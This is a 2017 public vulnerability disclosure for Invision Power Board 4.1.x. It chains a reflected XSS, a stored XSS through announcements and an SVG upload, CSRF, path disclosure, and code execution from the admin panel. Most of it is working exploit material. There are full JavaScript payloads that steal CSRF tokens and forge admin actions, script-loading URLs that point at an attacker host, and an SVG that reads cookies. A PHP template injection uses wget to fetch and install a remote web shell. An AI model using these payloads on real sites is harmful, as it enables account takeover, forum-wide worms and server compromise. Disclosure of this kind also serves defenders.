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Invision Power Board 4.1.19.2 XSS / CSRF / File Upload / Disclosure

Posted on 15 June 2017

______ ______ _____ ___ _____ _____ _____
| ___  | ___  | _ | |_ | | ___| / __  |_ _|
| |_/ / | |_/ / | | | | | | | |__ | / / | |
| __/ | / | | | | | | | __| | | | |
| | | |   \_/ / /\__/ / | |___ | \__/ | |
\_| \_| \_| \___/ \____/ \____/ \____/ \_/

_____ _ _ _____ _____ _____ _ _ ______ _____ _____ __ __
|_ _| |  | | / ___| | ___| / __  | | | | | ___  |_ _| |_ _|   / /
| | | | |  `--. | |__ | / / | | | | | |_/ / | | | |  V /
| | | . ` | `--.  | __| | | | | | | | / | | | |  /
_| |_ | | | /\__/ / | |___ | \__/ | |_| | | |  _| |_ | | | |
\___/ \_| \_/ \____/ \____/ \____/ \___/ \_| \_| \___/ \_/ \_/

[+]--------------------------------------------------------------[+]
| Vulnerable Software: Invision Power Board |
| Tested on: v4.1.4.1 (current build) |
| Vendor: http://invisionpower.com/ |
| Vulnerability Type: Reflected and Stored XSS |
| Cross-Site Request Forgery |
| File Upload (svg) |
| Information Disclosure |
| Shell Access via ACP |
| Date Released: 09/05/2017 |
| Released by: CDL (@sxcurity) + dkb (svg method) |
[+]--------------------------------------------------------------[+]

[+] Description:
Invision Power Board version 4.1.19.2 (current version as of this release) and below, is vulnerable to pre-auth reflected XSS
in the IPS UTF8 Converter v1.1.18 and stored XSS in the Announcements.
The vulnerability in the IPS UTF8 Converter can easily be used to make a malicious announcement then affects any user that
views the announcement.

There are also Stored XSS + Information Disclosure vulnerabilities in the attachments feature found in User CP. This can be
triggered by any user and can be used to gain access to mod/admin accounts.

-------------------------------------------------------------------------------------------------------------
[+] Summary:
The IPS UTF8 Converter does not properly sanitize the `controller` parameter, which is reflected in the response.
Therefore, an attacker may craft a payload to close the current expression andinsert malicious javascript and HTML.

The stored xss via the announcements requires a moderator or admin account to exploit. If you create a new announcement,
you can choose the ""<> Source" option, which does not validate HTML tags or event handlers.
This allows anyone with access to a moderator account to attack all users, mods, and admins.

[+] In addition to this, it is possible to trigger stored XSS via a file upload bug regarding attachments. This also leads
to information disclosure (FPD + the path to the uploaded SVG file, allowing you to bypass the randomly generated filename)
This stored XSS can be achieved from any user account. No mod or admin privs required. A regular user can craft a payload
to make themselves admin as a result of this vulnerability. There are very specific steps required to reproduce this bug
which will be detailed after the first Proof of Concept is displayed

-------------------------------------------------------------------------------------------------------------
[+]========= Proof of Concepts =========[+]
[+] Video: https://drive.google.com/file/d/0B3vXUYdNMECWMHVMaGVlMjVZMjg/view?usp=sharing

[+] Simple alert

http://<target>/admin/convertutf8/index.php?controller=%27};alert(document.domain);{%27

[+] Triggering stored XSS in announcements.

http://<target>/admin/convertutf8/index.php?controller='};</script><script src=//<attacker>/xss.js></script>;{'

If a moderator or admin visits this URL, the script steals the CSRF tokens from the mod/admin, builds the CSRF form with
the payload, and creates a malicious announcement with the attackers specified XSS payload. When anyone reads this announcement,
the XSS will fire!

[+] Abusing this XSS to attack users

http://<target>/admin/convertutf8/index.php?controller='};</script><script src=//<attacker>/lol.js></script>;{'

When a logged in user visits this page, it will steal the user's CSRF token, enable status updates
and then change their "About Me" to "sxcurity is my hero" ;)

[+]======= xss.js =======[+]
/*
http://www.sxcurity.pro/pocs/xss.js
_
(_)_ ____ ___ __
| | '_   / / / '_ 
| | |_)  V V /| | | |
|_| .__/ \_/\_/ |_| |_|
|_| IPB Exploit
by @sxcurity
*/

// specifies the target, the title of the announcement, and the xss payload!
var target = 'http://<target>/index.php?/modcp/announcements/&action=create';
var title = 'URGENT';

// Don't use quotes! It'll break our form down below!
var payload = '<script src=//<ATTACKER>/lol.js></script>';

// steals the csrf token ;)
var cdl = get(target);
document.body.innerHTML = cdl;
var form = document.getElementsByTagName('input')[3];
var token = form.value;

// DON'T EDIT!!
// Gets the current date! Thanks stackoverflow
var today = new Date();
var dd = today.getDate();
var mm = today.getMonth()+1; //January is 0!
var yyyy = today.getFullYear();
if(dd<10){
dd='0'+dd;
}
if(mm<10){
mm='0'+mm;
}
var today = mm+'/'+dd+'/'+yyyy;

// build form with valid token and evil credentials
document.body.innerHTML
+= '<form id="sxcurity" action="' + target + '" method="POST">'
+ '<input type="hidden" name="_submitted" value="1">'
+ '<input type="hidden" name="csrfKey" value="' + token + '">'
+ '<input type="hidden" name="MAX_FILE_SIZE" value="2097152">'
+ '<input type="hidden" name="plupload" value="sxcurity">'
+ '<input type="hidden" name="announce_title" value="' + title + '">'
+ '<input type="hidden" name="announce_start" value="' + today +'">'
+ '<input type="hidden" name="announce_end_unlimited" value="0">'
+ '<input type="hidden" name="announce_content" value="'+ payload +'">'
+ '<input type="hidden" name="announce_content_upload" value="sxcurity">'
+ '<input type="hidden" name="announce_app_unlimited" value="*">'
+ '<input type="hidden" name="announce_calendars">'
+ '<input type="hidden" name="announce_calendars-zeroVal" value="on">'
+ '<input type="hidden" name="announce_download_categories">'
+ '<input type="hidden" name="announce_download_categories-zeroVal" value="on">'
+ '<input type="hidden" name="announce_forums">'
+ '<input type="hidden" name="announce_forums-zeroVal" value="on">'
+ '</form>';

// submits our csrf form!
document.forms["sxcurity"].submit();

function get(url) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", url, false);
xmlHttp.send(null);
return xmlHttp.responseText;
}

[+]======= lol.js =======[+]
/*
www.sxcurity.pro/pocs/lol.js
_
(_)_ ____ ___ __
| | '_   / / / '_ 
| | |_)  V V /| | | |
|_| .__/ \_/\_/ |_| |_|
|_| IPB Exploit
by @sxcurity

index.php?/profile/<user>/&tab=field_core_pfield_1
This will add "sxcurity is my hero" to the user's about me.
*/
var target = 'http://localhost/ips_4141/index.php';
var payload = 'sxcurity is my hero';

// Gets the Profile URL of the victim.
var cdl = get(target);
document.body.innerHTML = cdl;
var user_url = document.getElementsByTagName('a')[13];
var user_url1 = document.getElementsByTagName('a')[14];
var user_url2 = document.getElementsByTagName('a')[15];
var user_url3 = document.getElementsByTagName('a')[16];
var user_url4 = document.getElementsByTagName('a')[17];
var user_url5 = document.getElementsByTagName('a')[18];
var user_url6 = document.getElementsByTagName('a')[19];
var user_url7 = document.getElementsByTagName('a')[20];
var yay = user_url.href;
var yay1 = user_url1.href;
var yay2 = user_url2.href;
var yay3 = user_url3.href;
var yay4 = user_url4.href;
var yay5 = user_url5.href;
var yay6 = user_url6.href;
var yay7 = user_url7.href;
var mod_check0 = document.getElementsByTagName('a')[22];
var mod_check1 = document.getElementsByTagName('a')[22];
var mod_check2 = document.getElementsByTagName('a')[23];
var mod_check3 = document.getElementsByTagName('a')[24];
var mod_check4 = document.getElementsByTagName('a')[25];
var mod_check5 = document.getElementsByTagName('a')[26];
var mod_check6 = document.getElementsByTagName('a')[27];
var check0 = mod_check1.href;
var check1 = mod_check1.href;
var check2 = mod_check2.href;
var check3 = mod_check3.href;
var check4 = mod_check4.href;
var check5 = mod_check5.href;
var check6 = mod_check5.href;

/*
Mods / admins have a different amount of links before their profile URL, so this makes sure
we grab the right profile URL and not some random one!
*/
if (yay.includes("profile")){
//user = normal user acc.
var profile = yay;
} else if (yay1.includes("profile")){
//user = normal user acc.
var profile = yay1;
} else if (yay2.includes("profile")){
//user = normal user acc.
var profile = yay2;
} else if (yay3.includes("profile")){
//user = normal user acc.
var profile = yay3;
} else if (yay4.includes("profile")){
//user = normal user acc.
var profile = yay4;
} else if (yay5.includes("profile")){
//user = normal user acc.
var profile = yay5;
} else if (yay6.includes("profile")){
//user = normal user acc.
var profile = yay6;
} else if (yay7.includes("profile")){
//user = normal user acc.
var profile = yay7;
} else if (check0.includes("profile")){
//user = mod or admin
var profile = check0;
} else if (check2.includes("profile")){
//user = mod or admin
var profile = check2;
} else if (check3.includes("profile")){
//user = mod or admin
var profile = check3;
} else if (check4.includes("profile")){
//user = mod or admin
var profile = check4;
} else if (check5.includes("profile")){
//user = mod or admin
var profile = check5;
} else if (check6.includes("profile")){
//user = mod or admin
var profile = check6;
}
var final = profile + 'edit/';

// steals the csrf token

var csrf = get(final);
document.body.innerHTML = csrf;
var inp = document.getElementsByTagName('input')[3];
var token = inp.value;

// build form with valid token and evil credentials
document.body.innerHTML
+= '<form id="woot" action=' + final + ' method="POST">'
+ '<input type="hidden" name="form_submitted" value="1">'
+ '<input type="hidden" name="csrfKey" value="' + token + '">'
+ '<input type="hidden" name="MAX_FILE_SIZE" value="2097152">'
+ '<input type="hidden" name="plupload" value="sxcurity">'
+ '<input type="hidden" name="bday[month]" value="0">'
+ '<input type="hidden" name="bday[day]" value="0">'
+ '<input type="hidden" name="bday[year]" value="0">'
+ '<input type="hidden" name="enable_status_updates" value="0">'
+ '<input type="hidden" name="enable_status_updates_checkbox" value="1">'
+ '<input type="hidden" name="core_pfield_1" value="' + payload + '">'
+ '<input type="hidden" name="core_pfield_1_upload" value="sxcurity">'
+ '</form>';

// submits our csrf form!
document.forms["woot"].submit();

function get(url) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", url, false);
xmlHttp.send(null);
return xmlHttp.responseText;
}

-------------------------------------------------------------------------------------------------------------
[+]========= Method 2 (Stored XSS via SVG upload) =========[+]

Although the method above requires mod access, this next method will allow a regular user to obtain mod/admin
access with relative ease. It involves uploading an SVG file as an attachment and then taking advantage of some
information disclosure to get the path to the uploaded file, here are the steps to reproduce:

1 > Visit your profile and click edit profile
2 > Enable Status Updates
3 > Reload the page & select the status update input
4 > Click "add an attachment" and select your SVG file
5 > Once uploaded, reload the page (BEFORE you submit status update)
6 > Once page is reloaded, select the status page input box again. You will see your attachment already there
7 > Use inspect element or view the page source to find the path to where your attachment has been uploaded
8 > CTRL + F ".svg" and take advantage of the full path disclosure to get the upload location

When your SVG file is uploaded, it generates a random hash to add to the URL name (as well as attempting to hide the upload path).

In addition to status updates, this can also be achieved in threads (resulting in total chaos for the admin of the vuln site)
The fact this can be used in threads makes it wormable. A regular user account can be used to target anyone who views any thread
posted by that user (or any thread posted by ANY user if a specific worm-based payload was crafted)

Your malicious SVG file would look something like this (of course this is not a weaponized payload):
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie);"/>

If you refreshed and did inspect element at the right time, you should see something like this in the source:
-------------------------------------------------------------------------------------------------------------
data-ipsuploader-existingfiles="{"102":{"configuration":{"dir":"/home/services/Services/ipbcommunity/uploads"
,"url":"uploads"}
,"configurationId":1,"storageExtension":"core_Attachment"
,"originalFilename":"xss.svg","filename"
:"xss.svg.d9b51a7a276cfbc0625876e30bce299a.svg"
,"container":"monthly_2017_05","url"
:{"data":{"scheme":"https","host"
:"vuln.site.com","path":"/uploads/monthly_2017_05/xss.svg.d9b51a7a276cfbc0625876e30bce299a.svg"
},"queryString":[],"isInternal":true,"isFriendly":true},"tempId":null,"attachmentThumbnailUrl"
:{"data":{"scheme":"https","host":"vuln.site.com","path":"/uploads/monthly_2017_05/xss.svg.d9b51a7a276cfbc0625876e30bce299a.svg"}
,"queryString":[],"isInternal":true,"isFriendly":true},"thumbnailName":null,"thumbnailContainer":null}}"
-------------------------------------------------------------------------------------------------------------

From there, you can see the full path:

In addition to this, we can also look at the URL in the source here to get the correct URL for where the XSS has been uploaded
(there is a mechanism in place to attempt to prevent this from being possible by generating a unique string and adding it to the filename for the uploaded file,
but by refreshing the page at the right time and viewing source we can see the full path for the upload including the unique string) here is an example:

;:{"scheme":"https","host":"community.vuln.com","path":"/uploads/monthly_2017_05/xss.svg.d9b51a7a276cfbc0625876e30bce299a.svg"}

this can be seen in the source, which when decoded would translate to:

https://community.vuln.com/uploads/monthly_2017_05/xss.svg.d9b51a7a276cfbc0625876e30bce299a.svg

This can then either be used in a similar fashion to reflective XSS and linked to the victims, or it can be used within threads (via attachments)
using the same method, which can allow someone from a regular user account to target the sites entire userbase (allowing for many possibilities,
such as creating a worm, getting admin credentials, etc)

-------------------------------------------------------------------------------------------------------------
This method is semi-public but it's definitely worth including to show what XSSing an IPB admin could lead to.
Once access to the admin panel has been gained, the following method can be used to obtain a shell:

- Navigate to admin panel
-> Go to "Look and Feel"
-> Manage languages
-> Choose langauge
-> Choose Section
-> look for 'public_help'
-> edit 'help.txt'
-> Choose topic from list

After this, a box should pop up where you can make edits to help.txt, the following PHP code can then be added:
-------------------------------------------------------------------------------------------------------------
${${printA $query='cdA cache;A wgetA http://link_to_shell/shell.txt;mv
shell.txtA shell.php'}}
${${system($query,$out)}}
${${printA $out}}A
-------------------------------------------------------------------------------------------------------------
Make sure that this code is at the _bottom_ of the help module textfile, not anywhere else.

After this, navigate to the following URL to execute your code:
http://vuln.com/index.php?app=core&module=helpA

From here, you can access your shell via the following URL:
http://vuln.com/cache/shell.phpA

-------------------------------------------------------------------------------------------------------------
Timeline:
- Reported to IPB long ago
- Months passed
- Very bad communication
- Dropped for the lulz

[+]---------------------------------------------------------[+]
| CONTACT US: |
| |
| IRC: irc.insecurity.zone (6667/6697) #insecurity |
| Twitter: @insecurity |
| Website: insecurity.zone |
[+]---------------------------------------------------------[+]

 

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